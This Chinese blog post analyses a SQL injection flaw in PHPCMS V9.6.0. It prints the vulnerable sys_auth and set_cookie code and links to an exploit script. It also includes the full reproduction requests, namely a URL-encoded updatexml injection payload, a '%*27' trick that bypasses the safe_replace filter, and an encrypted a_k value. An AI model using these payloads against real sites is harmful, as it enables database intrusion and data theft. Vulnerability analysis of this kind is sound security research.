PHPCMS V9.6.0 SQL注入漏洞分析
0x01
此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似。且较为有趣,故在此分析并附上exp。
0x02
首先复现漏洞,环境为:
PHP:5.4.45 + Apache
mysql:5.5.53
PHPCMS:V9.6.0-UTF-8
Microsoft Windows 7 旗舰版 OS 版本: 6.1.7601 Service Pack 1 Build 7601
此漏洞复现分三个步骤:
第一步:获取 siteid
访问:/index.php?m=wap&a=index&siteid=1
可以从返回包中获取siteid的值,以下复现过程个人使用管理员cookie,所以并非使用siteid,siteid值具体作用请查看此文末尾exp,此处不再赘述。
第二步:获取加密后的payload
明文payload:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
POST访问:/phpcmsv9.6.0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
POST参数:userid_flash=112312313acasdc(随便填写,但不能为空)

此处可以得到加密后的payload
第三步:注入
获取到加密后的payload之后可直接带入程序中,获取所需的数据。
访问:/phpcmsv9.6.0/index.php?m=content&c=down&a=init&a_k=d55eWp8mOkWM7ta1tz2mcrsAJ1CPYLCD3yXSZGWdtn_PqXIgq1bdB3A9EkhHVo5Hr2nLgscNBKBHCws-gP9My5gp2R0ac_90v3Rj3Ghfk6k6khao1XYuy5qg_c4wKvOKhAUhRVFJBIQNmPNmxnk_GNpjskYSgV1nUxCDtkd-N0v-yiMrEWMVaHqjbef4g5zHXGCbSS07hv5XLYr3kUo

注入成功
0x03
漏洞分析:
首先漏洞产生点位于:\phpcms\modules\content\down.php 的 init 函数中

注入点位于第26行:$rs = $this->db->get_one(array('id'=>$id)); 再看get_one函数:

可以看到此处执行SQL语句。那么回过头再看 $id 的来源是否可控。可以看到第17行parse_str函数。此函数作用是取出变量。那么再看$a_k是否可控。可以看到第14行,
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
这条语句为解密GET传过来的数据,由此可以想到,如果将加密后的恶意数据通过GET传入,在经过解密,并且没经过任何过滤,直接拼接入SQL语句,由此漏洞产生。
那么此处只需查看sys_auth这个加密函数,看是否可逆。
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
}
此函数可以看出,倘若知道 $key 的值,便可逆,否则不可逆。由于此 key 并不固定。于是改变思路,现在需要找到一个将恶意数据加密后的地方,并且可以获取,正好有一处为:set_cookie方法:
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
}
此函数倘若 $value 可控,那么 cookie 则可控。于是便有了加密后的 payload。此时全局搜索set_cookie,查找满足条件的地方。可以找到有一个方法:swfupload_json 方法:

此处250行调用了set_cookie方法,查看$json_str是否可控,看到第243行,$json_str 为GET传入的数据。再看safe_replace过滤函数:

可以看到会将GET的数据中 %20 ,%27,%2527等过滤。但是倘若如此构造payload:%*27 将此数据传入,则safe_replace函数会先查找%27并过滤。但此数据没有,在查找*并过滤,于是剩下的数据为%27,绕过成功。于是可以构造payload
明文:aid=1&src=1&id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
urlencode:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23
此时传入此可绕过过滤函数的payload并获取加密后的cookie

上图中dwQXH_att_json的值即为加密后的payload。然后获取此payload将起赋值给$a_k。并查看其值:


此时可以看到恶意数据被成功传入。但是在down.php中还有几个条件:

可以看到,$a_k变量中还必须有 $m,$modelid,$catid,$f 等4个变量,否则会出错。于是重新构造payload
明文:aid=1&src=1&id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#&m=1&modelid=1&catid=1&f=1
urlencode:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
获取加密后的payload:

然后传入$a_k变量中。注入成功:

注:获取不到set_cookie的值问题体现在构造函数中:

此处会判断是否登录,由于我是登录后台之后复现,所以没有发现此问题,在此致歉。该问题解决方法为1、登录一次后台。 2、将sys_auth()函数下载到本地,任意加密一个值后,获取加密后的值以POST方法传入userid_flash,这样也会获取到set_cookie的值。

exp:https://www.cnblogs.com/Spec/p/10844822.html
exp仅供学习交流使用,请勿恶意攻击他人网站。
PHPCMS V9.6.0 SQL注入漏洞分析的更多相关文章
- 最新phpcms v9.6.0 sql注入漏洞分析
昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...
- PHPCMS V9.6.0 SQL注入漏洞EXP
运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...
- Beescms_v4.0 sql注入漏洞分析
Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- PHPCMS V9.6.3的后台漏洞分析
PHPCMS V9.6.3后台的漏洞分析 1.利用文件包含创建任意文件getshell 漏洞文件:\phpcmsv9\phpcms\modules\block\block_admin.php 漏洞产生 ...
- 【代码审计】五指CMS_v4.1.0 copyfrom.php 页面存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
- 【代码审计】五指CMS_v4.1.0 后台存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
- 【代码审计】iCMS_v7.0.7 admincp.app.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
- 【代码审计】iCMS_v7.0.7 apps.admincp.php页面存在SQL注入漏洞分析
0x00 环境准备 iCMS官网:https://www.icmsdev.com 网站源码版本:iCMS-v7.0.7 程序源码下载:https://www.icmsdev.com/downloa ...
随机推荐
- Fruity Parametric EQ 2使用说明(一)——FL Studio插件教程
FL Studio插件教程-Fruity Parametric EQ 2使用说明(一) Fruity Parametric EQ 2均衡器,是一款我们在FL Studio制作音乐时经常会用到的插件,它 ...
- Guitar Pro编辑歌词教程
吉他是常见的乐器之一,弹唱亦是音乐爱好者们最常见的表演方式.Guitar Pro(win系统)是吉他爱好者最常用的吉他谱制作软件,大家可以在该软件上创作自己的吉他谱.既然有了谱子,那自然是少不了歌词了 ...
- ABBYY FineReader 15 对比文档功能
想必大家在办公的时候都有着要处理各种各样文档的烦恼,一个文档经过一个人或不同人的多次修订都是常有的事,拥有文档对比功能的软件也就应势而生.ABBYY FineReader 15 有许多能够帮助我们办公 ...
- Windows下创建指定大小的文件
前言 因为需要测试存储容量,所以需要能生成指定大小的文件. 执行 #语法:fsutil file createnew 路径和文件名 文件大小 fsutil file createnew D:\test ...
- C++基础知识篇:C++ 变量作用域
作用域是程序的一个区域,一般来说有三个地方可以定义变量: 在函数或一个代码块内部声明的变量,称为局部变量. 在函数参数的定义中声明的变量,称为形式参数. 在所有函数外部声明的变量,称为全局变量. 我们 ...
- 面试官问Linux下如何编译C程序,如何回答?为你编译演示
文章来源:嵌入式大杂烩 作者:ZhengNL Windows下常用IDE来编译,Linux下直接使用gcc来编译,编译过程是Linux嵌入式编程的基础,也是嵌入式高频基础面试问题. 一.命令行编译及各 ...
- MindSpore手写数字识别初体验,深度学习也没那么神秘嘛
摘要:想了解深度学习却又无从下手,不如从手写数字识别模型训练开始吧! 深度学习作为机器学习分支之一,应用日益广泛.语音识别.自动机器翻译.即时视觉翻译.刷脸支付.人脸考勤--不知不觉,深度学习已经渗入 ...
- 10万级etl批量作业自动化调度工具Taskctl之轻量级Web应用版
什么是批量作业: 批量处理是银行业整个信息后台最为重要的技术形态,也是银行核心信息资产数据的分享.传输.演化的重要技术手段.有调查指出,全球70%的数据是经过批量处理得以再次使用,可见批量处理在整个信 ...
- Kubernetes日志系统新贵Loki-Stack
Loki简介 Grafana Loki是可以组成功能齐全的日志记录堆栈的一组组件. 与其他日志记录系统不同,Loki是基于仅索引有关日志的元数据的想法而构建的:标签(就像Prometheus标签一样) ...
- python将对象写入文件,以及从文件中读取对象
原文地址: http://www.voidcn.com/article/p-fqtqpwxp-wo.html 写入文件代码: >>> import sys, shelve >& ...